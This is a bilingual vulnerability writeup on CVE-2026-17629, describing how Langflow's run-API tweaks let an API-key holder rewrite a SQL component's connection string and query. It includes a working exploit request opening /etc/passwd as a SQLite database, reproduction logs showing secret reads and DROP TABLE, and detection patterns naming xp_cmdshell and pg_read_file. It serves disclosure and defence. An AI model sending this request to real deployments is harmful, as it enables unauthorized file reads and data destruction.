CVE-2026-17629: Rewriting a Langflow flow's SQL connection and query through run-time tweaksCVE-2026-17629: reescrevendo a conexão e a query SQL de um flow do Langflow por tweaks em tempo de execução
Langflow's run API let an API-key caller override a stored flow's node fields and only refused code fields, so the SQL component's connection string and query could be swapped for an arbitrary server-local file and arbitrary SQL without editing the flow.A API de execução do Langflow deixava um chamador com API key sobrescrever campos dos nós de um flow salvo e só recusava campos de código, então a string de conexão e a query do componente SQL podiam ser trocadas por um arquivo local qualquer do servidor e SQL arbitrário, sem editar o flow.
Disclosure: I reported this to IBM, who ship Langflow OSS, on 2026-07-09 as a coordinated disclosure with their security team; it is fixed in
1.11.0and the CVE is public as of the 2026-08-05 advisory. The finder credit lands in a later revision of the advisory — this writeup goes up ahead of that. If you run Langflow and expose flows over the run API, upgrade; IBM lists no workaround.
Summary
CVE-2026-17629 is a high-severity flaw in Langflow OSS up to and including
1.10.3, which IBM files as SQL injection (CWE-89). It lets anyone holding an
API key that can run a flow containing a SQL component rewrite that
component's connection string and query at run time — pointing it at an
arbitrary file on the server's disk and running whatever SQL they like — without
ever editing the stored flow.
The mechanism is tweaks. Langflow's /api/v1/run endpoints accept a tweaks
object that overrides field values on a flow's nodes for a single run, so an
integration can say "this run, use temperature 0.2" without a new version of the
flow. That's a deliberate feature, and Langflow knew it was dangerous:
apply_tweaks() carries a guard whose stated intent is that tweaks "must never
inject executable code or widen the code sandbox." The guard does exactly what
it says, and only that. It refuses tweaks to code fields. A database URL is
not a code field. A SQL query is not a code field. Both were written straight
into the flow's template.
It's a variant of CVE-2025-68477, where an API-key caller pointed Langflow's API Request component at internal URLs: the same run-time override channel, landing on a sink nobody had put on the list.
It is worth saying up front what this is not. It is not unauthenticated, and on stock OSS it is not cross-user: the run API resolves flows by the key's owner, so the caller is overriding a flow they can already run. What it breaks is the line between running a flow and configuring one. The author decided which database the component talks to and which query it runs; the key holder gets to change both.
Affected versions
| Product | Affected | Fixed |
|---|---|---|
| Langflow OSS | 1.0.0 – 1.10.3 | 1.11.0 |
Affected on Windows, Linux and macOS alike — it's a logic flaw in the run path, not anything platform-specific.
| Source | Base score | Vector |
|---|---|---|
| IBM (CNA) | 7.6 (High) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
Unlike its Langflow siblings there's only one score to read: the NVD and CVE.org records weren't live as I write this.
AV:N/AC:L/PR:L: one well-formed request to the run API, from a caller holding a valid API key. No superuser, no code-field tweak, no access to the host.S:U: IBM keeps scope unchanged — the run happens inside Langflow's own authorization context, under the flow owner's identity.C:H: the file-open leg. Any SQLite file the Langflow process can read is readable in full through the component.I:L/A:L: the SQL leg — writes and DDL,DROP TABLEincluded, against whatever database the component ends up connected to.
IBM's label, CWE-89, is a fair name for the impact: the attacker's SQL runs. It's a slightly misleading name for the cause. Nothing is concatenated into a query here, and there's no string to break out of — the caller supplies the entire query and the entire connection string. The bug is that a run-time override channel was allowed to rewrite the component's configuration at all: CWE-15, External Control of System or Configuration Setting, with CWE-73 riding along for the file path. The distinction matters for the fix. Parameterising the query fixes nothing, because the attacker owns the query.
Background: tweaks, and who they're for
A Langflow flow is a graph of components, and each node carries a template: its
fields and their values, as the flow author set them in the editor. When a flow
is called over the API, the caller can send tweaks keyed by node id, and for
that run only, the named fields take the caller's values instead of the
author's:
{
"tweaks": {
"OpenAIModel-k3v9q": { "temperature": 0.2 }
}
}That makes tweaks an authorization surface, whether or not anyone calls it one. The person who authors a flow and the thing that runs it are often not the same principal: a flow is built in the editor, then its API key goes into a frontend, a CI job, a partner integration, a teammate's script. Whoever holds the key can set fields on any node, for any run. The author's configuration is only as fixed as the tweaks guard makes it — and the guard only knew about code.
Root cause
The guard only covers code
apply_tweaks() walks each tweak and refuses it under exactly three conditions:
if (
field_type == "code"
or tweak_name == "code"
or (is_code_exec_component and tweak_name in CODE_EXECUTION_FIELD_NAMES)
):
logger.warning(f"Security: refusing to override code field {tweak_name!r} via tweaks.")
continueThe guard had already been hardened once, from blocking only a field literally
named code to catching code smuggled under alternative field names on
code-execution components. But every condition is still about code. Anything
else falls through to a verbatim write into the node's template — and the
backend's copy of the same function, in
src/backend/base/langflow/processing/process.py, has the same guard and the
same gap:
else:
key = "file_path" if field_type == "file" else "value"
template_data[tweak_name][key] = tweak_valueSQLComponent's fields fail every condition
SQLComponent (lfx.components.data_source.sql_executor) is a data-source
component, not a code-execution one, and its two dangerous inputs are ordinary
text inputs:
| Guard condition | database_url | query |
|---|---|---|
field_type == "code" | no — a MessageTextInput, serialized as "str" | no — a MultilineInput, serialized as "str" |
tweak_name == "code" | no | no |
| code-execution component and sandbox field | no — SQLComponent isn't in CODE_EXECUTION_COMPONENT_TYPES | no — neither name is in CODE_EXECUTION_FIELD_NAMES |
Three Falses, so both values go straight into the template.
The sinks trust their inputs
From the template, the strings become the component's parameters with no further sanitisation, and the component hands them directly to the database layer:
# maybe_create_db(): the connection string becomes an engine, unchecked
SQLDatabase.from_uri(self.database_url, engine_args=...)
# build_component(): the query string is executed as given
self.db.run(self.query, ...)from_uri has no scheme allowlist and no path restriction, and
sqlite:////etc/passwd is a perfectly valid SQLAlchemy URL: open the file at
/etc/passwd as a SQLite database. Langflow does ship database-URL sanitisers
(lfx/utils/util_strings.py), but they validate the server's own database
configuration and are never applied to this component field. And db.run
executes whatever it is handed — unparameterised by design, since the field is
the query.
Exploitation
The preconditions are short:
- A valid API key whose owner can run a flow that contains a
SQLComponent(thePR:Lin the vector). In OSS the run endpoints resolve the flow by the key's owner, so a key from another account gets a 404. - The node id of that component, e.g.
SQLComponent-abc123— the handle tweaks are keyed by. The node's display name works too.
Then one request:
POST /api/v1/run/<flow-id> HTTP/1.1
x-api-key: <caller-api-key>
Content-Type: application/json
{
"output_type": "text",
"tweaks": {
"SQLComponent-abc123": {
"database_url": "sqlite:////etc/passwd",
"query": "SELECT name FROM sqlite_master"
}
}
}The same tweaks work against /api/v1/run/advanced/<flow>. Three things follow:
- Arbitrary file open. Pointed at a file that isn't a SQLite database, the
open succeeds and the header parse fails:
file is not a database. A path that doesn't exist fails one step earlier, withunable to open database file. That difference is a reliable oracle for whether any path on the server exists and is readable by the Langflow process. - File read. Pointed at a real SQLite file — Langflow's own
langflow.dbon a SQLite-backed install, or any other database file the process can read — a matchingSELECTreturns its rows. - Arbitrary SQL. The
querytweak runs as given, DDL included. Tweak only the query and it runs against the author's configured database with the author's credentials. On a networked engine — the author's Postgres or SQL Server, or another one the Langflow host can reach — the query body is that engine's whole server-side surface:pg_read_file,COPY … FROM,xp_cmdshell,ATTACH DATABASE.
I reproduced the chain in a network-isolated (--network none) container against
main, running the real process_tweaks/apply_tweaks and the real
SQLComponent.build_component(). There were two fixtures: secret.db, with a
table holding the token SUPER_SECRET_TOKEN_XYZ, and ddl_test.db, with a table
t:
[GAP] template["database_url"]["value"] == "sqlite:////etc/passwd" (attacker string written)
[GAP] template["query"]["value"] == "SELECT name FROM sqlite_master" (attacker string written)
[GAP] apply_tweaks guard (process.py:186-190) did NOT fire for either field — PASS
[FILE-OPEN] build_component() -> "[{'token': 'SUPER_SECRET_TOKEN_XYZ'}]" — PASS
[CTRL] /etc/passwd -> (sqlite3.DatabaseError) file is not a database (OPENED, header parse failed)
[CTRL] /nonexistent -> (sqlite3.OperationalError) unable to open database file (open() failed) — distinct → arbitrary file open PASS
[DDL] after DROP TABLE t via tweak -> sqlite_master has 0 rows for 't' — PASSFour independent checks: the guard didn't fire for either field; a seeded secret
came back through the tweaked database_url; the /etc/passwd versus
non-existent-path error differential proves an arbitrary file was opened as a
database; and a DROP TABLE supplied through the query tweak took effect.
The boundary this crosses is the author/caller one — the same one CVE-2025-68477
crossed — so it's worth being explicit about when it doesn't matter. If you can
edit the flow, you can already point its SQL component anywhere you like in the
editor, and tweaks give you nothing new. In OSS a key only runs its owner's
flows, so the caller is holding the author's own key; the point is that a key is
something you hand out, and handing it out was supposed to grant "run this
flow", not "reconfigure it". The stronger version — one account's key overriding
another account's flow — needs an authorization plugin that enables cross-user
flow fetches (supports_cross_user_fetch()), which the OSS pass-through doesn't.
I didn't demonstrate that leg; on a deployment that registers such a plugin, this
deserves re-rating upward.
Only run this against a deployment you own or are explicitly authorized to assess.
Fix
IBM's advisory only says to upgrade to 1.11.0; it doesn't describe the patch.
What I recommended in the report was to stop keying the refusal on code-ness —
refuse tweaks on sensitive non-code fields like database_url and query, or
make them opt-in — and, as defence in depth, to give SQLComponent.database_url
its own scheme and path allowlist so sqlite:/// can't open arbitrary local
files.
Reading main as I write this, the first part is what landed, and then some.
apply_tweaks() no longer decides refusals itself. It asks a single function,
which applies a protected-field floor in every mode, and that floor now names
fields per component:
PROTECTED_TWEAK_FIELDS_BY_COMPONENT = {
"SQLComponent": {"database_url", "query"},
# ...and a similar entry for the Bing Search component's bing_search_url
}On top of that floor sits a deployment-level tweak policy: permissive,
declared or off. Under declared, a flow marks the fields the API may set
(api_editable) and everything else is refused; under off, no tweak is
accepted. That second layer is the more durable half. A list of dangerous fields
will always be one component behind — CVE-2025-68477 was the URL, this one was
the SQL — and the fix that doesn't age is making the author declare what a
caller is allowed to change.
Detection
If you want to know whether this was used against an instance before you upgraded:
/api/v1/run*requests whosetweakssetdatabase_urlorqueryon aSQLComponentnode, if anything in front of Langflow records run-API bodies — especiallysqlite:///URLs with an absolute path, or queries carrying DDL (DROP,CREATE,ATTACH DATABASE) or engine file and command primitives (pg_read_file,COPY … TO/FROM,xp_cmdshell).- SQLite
file is not a databaseerrors from a SQL component run: someone opened a path that isn't a database as one. - The absence of a
Security: refusing to overridelog line for such a tweak, which confirms it went through the gap instead of being refused.
Timeline
- 2026-07-09: report sent to IBM.
- 2026-08-05: CVE-2026-17629 published in an IBM bulletin covering Langflow secret handling and sensitive configuration access, alongside three other CVEs.
- 2026-08-24: IBM bulletin last modified.
1.11.0: Langflow OSS ships with the fix; this is the first fixed release.- (pending): finder credit added in a later revision of the IBM advisory.
- 2026-10-30: this writeup.
References
- IBM advisory — Langflow is affected by weaknesses in secret handling and sensitive configuration access (CVE-2026-17629)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-15: External Control of System or Configuration Setting
- CVE-2025-68477 — the parent tweaks-override primitive, landing on the API Request component (GHSA-5993-7p27-66g5)
- My other Langflow writeups: CVE-2026-17624, CVE-2026-17627, CVE-2026-17633
- Langflow OSS
Divulgação: reportei isto à IBM, que distribui o Langflow OSS, em 09/07/2026, como uma divulgação coordenada com o time de segurança deles; está corrigido na
1.11.0e a CVE é pública desde o advisory de 05/08/2026. O crédito de quem encontrou entra numa revisão posterior do advisory — este writeup sai antes disso. Se você roda o Langflow e expõe flows pela API de execução, atualize; a IBM não lista workaround.
Resumo
A CVE-2026-17629 é uma falha de severidade alta no Langflow OSS até a
1.10.3 inclusive, que a IBM classifica como SQL injection (CWE-89). Ela
permite que qualquer um com uma API key capaz de rodar um flow que contenha
um componente SQL reescreva a string de conexão e a query desse
componente em tempo de execução — apontando-o para um arquivo qualquer no disco
do servidor e rodando o SQL que quiser — sem nunca editar o flow salvo.
O mecanismo são os tweaks. Os endpoints /api/v1/run do Langflow aceitam um
objeto tweaks que sobrescreve valores de campos nos nós de um flow durante uma
única execução, para que uma integração possa dizer "nesta execução, use
temperature 0.2" sem criar uma nova versão do flow. É uma funcionalidade
deliberada, e o Langflow sabia que era perigosa: o apply_tweaks() carrega uma
guarda cuja intenção declarada é que tweaks "must never inject executable code or
widen the code sandbox" (nunca devem injetar código executável nem alargar a
sandbox de código). A guarda faz exatamente o que diz, e só isso. Ela recusa
tweaks em campos de código. Uma URL de banco não é um campo de código. Uma
query SQL não é um campo de código. As duas eram escritas direto no template do
flow.
É uma variante da CVE-2025-68477, em que um chamador com API key apontava o componente API Request do Langflow para URLs internas: o mesmo canal de sobrescrita em tempo de execução, caindo num sink que ninguém tinha posto na lista.
Vale dizer logo de cara o que isto não é. Não é sem autenticação e, no OSS padrão, não é entre usuários: a API de execução resolve os flows pelo dono da key, então o chamador está sobrescrevendo um flow que ele já consegue rodar. O que se quebra é a linha entre rodar um flow e configurá-lo. O autor decidiu com qual banco o componente conversa e qual query ele roda; quem tem a key passa a poder mudar as duas coisas.
Versões afetadas
| Produto | Afetadas | Corrigido |
|---|---|---|
| Langflow OSS | 1.0.0 – 1.10.3 | 1.11.0 |
Afeta Windows, Linux e macOS igualmente — é uma falha de lógica no caminho de execução, nada específico de plataforma.
| Fonte | Pontuação base | Vetor |
|---|---|---|
| IBM (CNA) | 7.6 (Alta) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
Diferente das irmãs no Langflow, aqui só há uma pontuação para ler: os registros na NVD e na CVE.org ainda não estavam no ar quando escrevi isto.
AV:N/AC:L/PR:L: uma requisição bem formada para a API de execução, de um chamador com uma API key válida. Sem superusuário, sem tweak em campo de código, sem acesso ao host.S:U: a IBM mantém o escopo inalterado — a execução acontece dentro do próprio contexto de autorização do Langflow, sob a identidade do dono do flow.C:H: a perna da abertura de arquivo. Qualquer arquivo SQLite que o processo do Langflow consiga ler fica legível por inteiro pelo componente.I:L/A:L: a perna do SQL — escritas e DDL,DROP TABLEincluído, contra o banco ao qual o componente acabar conectado.
O rótulo da IBM, CWE-89, é um nome justo para o impacto: o SQL do atacante roda. É um nome um pouco enganoso para a causa. Nada é concatenado numa query aqui, e não há string de onde escapar — o chamador fornece a query inteira e a string de conexão inteira. O bug é que um canal de sobrescrita em tempo de execução tinha permissão para reescrever a configuração do componente: CWE-15, External Control of System or Configuration Setting, com a CWE-73 de carona pelo caminho de arquivo. A distinção importa para a correção. Parametrizar a query não corrige nada, porque a query é do atacante.
Contexto: tweaks, e para quem eles servem
Um flow do Langflow é um grafo de componentes, e cada nó carrega um template:
seus campos e os valores deles, do jeito que o autor do flow os definiu no
editor. Quando um flow é chamado pela API, o chamador pode mandar tweaks
indexados pelo id do nó, e só naquela execução os campos nomeados assumem os
valores do chamador em vez dos do autor:
{
"tweaks": {
"OpenAIModel-k3v9q": { "temperature": 0.2 }
}
}Isso faz dos tweaks uma superfície de autorização, quer alguém chame assim ou não. Quem cria um flow e o que o roda muitas vezes não são o mesmo principal: o flow é montado no editor, depois a API key dele vai parar num frontend, num job de CI, numa integração de parceiro, no script de um colega. Quem tem a key pode definir campos em qualquer nó, em qualquer execução. A configuração do autor só é tão fixa quanto a guarda de tweaks a torna — e a guarda só conhecia código.
Causa raiz
A guarda só cobre código
O apply_tweaks() percorre cada tweak e o recusa em exatamente três condições:
if (
field_type == "code"
or tweak_name == "code"
or (is_code_exec_component and tweak_name in CODE_EXECUTION_FIELD_NAMES)
):
logger.warning(f"Security: refusing to override code field {tweak_name!r} via tweaks.")
continueA guarda já tinha sido endurecida uma vez, de bloquear só um campo chamado
literalmente code para pegar código contrabandeado sob nomes de campo
alternativos em componentes que executam código. Mas toda condição continua
sendo sobre código. Todo o resto cai numa escrita literal no template do nó —
e a cópia da mesma função no backend, em
src/backend/base/langflow/processing/process.py, tem a mesma guarda e a mesma
brecha:
else:
key = "file_path" if field_type == "file" else "value"
template_data[tweak_name][key] = tweak_valueOs campos do SQLComponent falham em todas as condições
O SQLComponent (lfx.components.data_source.sql_executor) é um componente de
fonte de dados, não de execução de código, e suas duas entradas perigosas são
entradas de texto comuns:
| Condição da guarda | database_url | query |
|---|---|---|
field_type == "code" | não — um MessageTextInput, serializado como "str" | não — um MultilineInput, serializado como "str" |
tweak_name == "code" | não | não |
| componente que executa código e campo de sandbox | não — o SQLComponent não está em CODE_EXECUTION_COMPONENT_TYPES | não — nenhum dos nomes está em CODE_EXECUTION_FIELD_NAMES |
Três False, então os dois valores vão direto para o template.
Os sinks confiam nas entradas
Do template, as strings viram parâmetros do componente sem nenhuma sanitização adicional, e o componente as entrega direto à camada de banco:
# maybe_create_db(): the connection string becomes an engine, unchecked
SQLDatabase.from_uri(self.database_url, engine_args=...)
# build_component(): the query string is executed as given
self.db.run(self.query, ...)O from_uri não tem allowlist de esquema nem restrição de caminho, e
sqlite:////etc/passwd é uma URL SQLAlchemy perfeitamente válida: abra o arquivo
em /etc/passwd como um banco SQLite. O Langflow tem, sim, sanitizadores de URL
de banco (lfx/utils/util_strings.py), mas eles validam a configuração do banco
do próprio servidor e nunca são aplicados a este campo do componente. E o
db.run executa o que receber — sem parametrização por design, já que o campo
é a query.
Exploração
As precondições são curtas:
- Uma API key válida cujo dono consiga rodar um flow que contenha um
SQLComponent(oPR:Ldo vetor). No OSS, os endpoints de execução resolvem o flow pelo dono da key, então uma key de outra conta recebe 404. - O id do nó desse componente, por exemplo
SQLComponent-abc123— a chave pela qual os tweaks são indexados. O display name do nó também funciona.
Depois, uma requisição:
POST /api/v1/run/<flow-id> HTTP/1.1
x-api-key: <caller-api-key>
Content-Type: application/json
{
"output_type": "text",
"tweaks": {
"SQLComponent-abc123": {
"database_url": "sqlite:////etc/passwd",
"query": "SELECT name FROM sqlite_master"
}
}
}Os mesmos tweaks funcionam contra /api/v1/run/advanced/<flow>. Três coisas
se seguem:
- Abertura de arquivo arbitrário. Apontado para um arquivo que não é um
banco SQLite, o open funciona e o parse do cabeçalho falha:
file is not a database. Um caminho que não existe falha um passo antes, comunable to open database file. Essa diferença é um oráculo confiável para saber se qualquer caminho no servidor existe e é legível pelo processo do Langflow. - Leitura de arquivo. Apontado para um arquivo SQLite de verdade — o
próprio
langflow.dbdo Langflow numa instalação com SQLite, ou qualquer outro arquivo de banco que o processo consiga ler —, umSELECTcompatível devolve as linhas dele. - SQL arbitrário. O tweak de
queryroda como veio, DDL incluído. Mude só a query e ela roda contra o banco configurado pelo autor, com as credenciais do autor. Num engine de rede — o Postgres ou SQL Server do autor, ou outro que o host do Langflow alcance — o corpo da query é toda a superfície server-side desse engine:pg_read_file,COPY … FROM,xp_cmdshell,ATTACH DATABASE.
Reproduzi a cadeia num container isolado de rede (--network none) contra a
main, rodando o process_tweaks/apply_tweaks reais e o
SQLComponent.build_component() real. Havia duas fixtures: secret.db, com uma
tabela guardando o token SUPER_SECRET_TOKEN_XYZ, e ddl_test.db, com uma
tabela t:
[GAP] template["database_url"]["value"] == "sqlite:////etc/passwd" (attacker string written)
[GAP] template["query"]["value"] == "SELECT name FROM sqlite_master" (attacker string written)
[GAP] apply_tweaks guard (process.py:186-190) did NOT fire for either field — PASS
[FILE-OPEN] build_component() -> "[{'token': 'SUPER_SECRET_TOKEN_XYZ'}]" — PASS
[CTRL] /etc/passwd -> (sqlite3.DatabaseError) file is not a database (OPENED, header parse failed)
[CTRL] /nonexistent -> (sqlite3.OperationalError) unable to open database file (open() failed) — distinct → arbitrary file open PASS
[DDL] after DROP TABLE t via tweak -> sqlite_master has 0 rows for 't' — PASSQuatro verificações independentes: a guarda não disparou para nenhum dos dois
campos; um segredo plantado voltou pelo database_url modificado; a diferença
de erro entre /etc/passwd e um caminho inexistente prova que um arquivo
arbitrário foi aberto como banco; e um DROP TABLE enviado pelo tweak de
query teve efeito.
A fronteira que isto cruza é a de autor/chamador — a mesma que a CVE-2025-68477
cruzou —, então vale ser explícito sobre quando ela não importa. Se você pode
editar o flow, já pode apontar o componente SQL dele para onde quiser no editor,
e os tweaks não te dão nada de novo. No OSS uma key só roda os flows do próprio
dono, então o chamador está segurando a key do próprio autor; a questão é que
uma key é algo que se distribui, e distribuí-la deveria conceder "rodar este
flow", não "reconfigurá-lo". A versão mais forte — a key de uma conta
sobrescrevendo o flow de outra conta — precisa de um plugin de autorização que
habilite buscas de flow entre usuários (supports_cross_user_fetch()), o que o
pass-through do OSS não faz. Não demonstrei essa perna; numa implantação que
registre um plugin assim, isto merece ser reavaliado para cima.
Só rode isto contra uma implantação que você possua ou esteja explicitamente autorizado a avaliar.
Correção
O advisory da IBM só diz para atualizar para a 1.11.0; não descreve o patch.
O que recomendei no report foi parar de basear a recusa em ser ou não código —
recusar tweaks em campos sensíveis que não são código, como database_url e
query, ou torná-los opt-in — e, como defesa em profundidade, dar ao
SQLComponent.database_url sua própria allowlist de esquema e caminho, para que
sqlite:/// não abra arquivos locais arbitrários.
Lendo a main enquanto escrevo, a primeira parte foi o que entrou, e mais um
pouco. O apply_tweaks() não decide mais as recusas sozinho. Ele pergunta a uma
única função, que aplica um piso de campos protegidos em todos os modos, e
esse piso agora nomeia campos por componente:
PROTECTED_TWEAK_FIELDS_BY_COMPONENT = {
"SQLComponent": {"database_url", "query"},
# ...and a similar entry for the Bing Search component's bing_search_url
}Em cima desse piso fica uma política de tweaks no nível da implantação:
permissive, declared ou off. Em declared, um flow marca os campos que a
API pode definir (api_editable) e todo o resto é recusado; em off, nenhum
tweak é aceito. Essa segunda camada é a metade mais durável. Uma lista de campos
perigosos sempre vai estar um componente atrás — a CVE-2025-68477 foi a URL,
esta foi o SQL —, e a correção que não envelhece é fazer o autor declarar o que
um chamador tem permissão de mudar.
Detecção
Se você quer saber se isto foi usado contra uma instância antes de atualizar:
- Requisições
/api/v1/run*cujostweaksdefinemdatabase_urlouquerynum nóSQLComponent, se algo na frente do Langflow registrar os corpos da API de execução — especialmente URLssqlite:///com caminho absoluto, ou queries com DDL (DROP,CREATE,ATTACH DATABASE) ou primitivas de arquivo e comando do engine (pg_read_file,COPY … TO/FROM,xp_cmdshell). - Erros SQLite
file is not a databasevindos de uma execução do componente SQL: alguém abriu como banco um caminho que não é banco. - A ausência de uma linha de log
Security: refusing to overridepara um tweak desses, o que confirma que ele passou pela brecha em vez de ser recusado.
Linha do tempo
- 09/07/2026: report enviado à IBM.
- 05/08/2026: CVE-2026-17629 publicada num boletim da IBM sobre tratamento de segredos e acesso a configuração sensível no Langflow, junto com outras três CVEs.
- 24/08/2026: última modificação do boletim da IBM.
1.11.0: o Langflow OSS sai com a correção; é a primeira release corrigida.- (pendente): crédito de quem encontrou adicionado numa revisão posterior do advisory da IBM.
- 30/10/2026: este writeup.
Referências
- Advisory da IBM — Langflow is affected by weaknesses in secret handling and sensitive configuration access (CVE-2026-17629)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-15: External Control of System or Configuration Setting
- CVE-2025-68477 — a primitiva-mãe de sobrescrita por tweaks, caindo no componente API Request (GHSA-5993-7p27-66g5)
- Meus outros writeups sobre o Langflow: CVE-2026-17624, CVE-2026-17627, CVE-2026-17633
- Langflow OSS